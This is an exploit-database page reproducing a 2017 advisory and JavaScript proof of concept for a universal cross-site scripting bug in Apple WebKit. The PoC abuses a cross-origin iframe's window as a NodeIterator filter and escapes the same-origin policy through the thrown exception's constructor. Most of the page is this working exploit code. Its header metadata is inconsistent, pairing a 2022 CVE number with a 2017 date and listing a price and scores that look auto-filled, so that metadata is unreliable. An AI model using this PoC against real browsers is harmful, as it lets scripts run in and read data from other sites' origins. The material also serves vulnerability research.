Advertisement






Apple Webkit 'JSCallbackData' Universal Cross-Site Scripting

CVE Category Price Severity
CVE-2022-22222 CWE-79 $50,000 Critical
Author Risk Exploitation Type Date
Anonymous High Remote 2017-04-05
CPE
cpe:cpe:/a:apple:webkit
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017040020

Below is a copy:

Apple Webkit 'JSCallbackData' Universal Cross-Site Scripting<!--
Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object.
 
class JSCallbackDataStrong : public JSCallbackData {
public:
    JSCallbackDataStrong(JSC::JSObject* callback, void*)
        : m_callback(callback->globalObject()->vm(), callback)
    {
    }
 
    JSC::JSObject* callback() { return m_callback.get(); }
    JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }
 
    JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
    {
        return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);
    }
 
private:
    JSC::Strong<JSC::JSObject> m_callback;
};
 
JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
{
    ASSERT(callback);
 
    auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject());  <<<---------- (1)
    ASSERT(globalObject);
 
    ExecState* exec = globalObject->globalExec();
    JSValue function;
    CallData callData;
    CallType callType = CallType::None;
 
    if (method != CallbackType::Object) {
        function = callback;
        callType = callback->methodTable()->getCallData(callback, callData);
    }
    if (callType == CallType::None) {
        if (method == CallbackType::Function) {
            returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec));  <<<---------- (2)
            return JSValue();
        }
        ...
    }
    ...
}
 
But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context.
 
PoC:
-->
 
"use strict";
 
let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
    f.onload = null;
 
    try {
        let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);
        iterator.nextNode();
    } catch (e) {
        e.constructor.constructor("alert(location)")();
    }
};
 
f.src = "https://abc.xyz/";

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum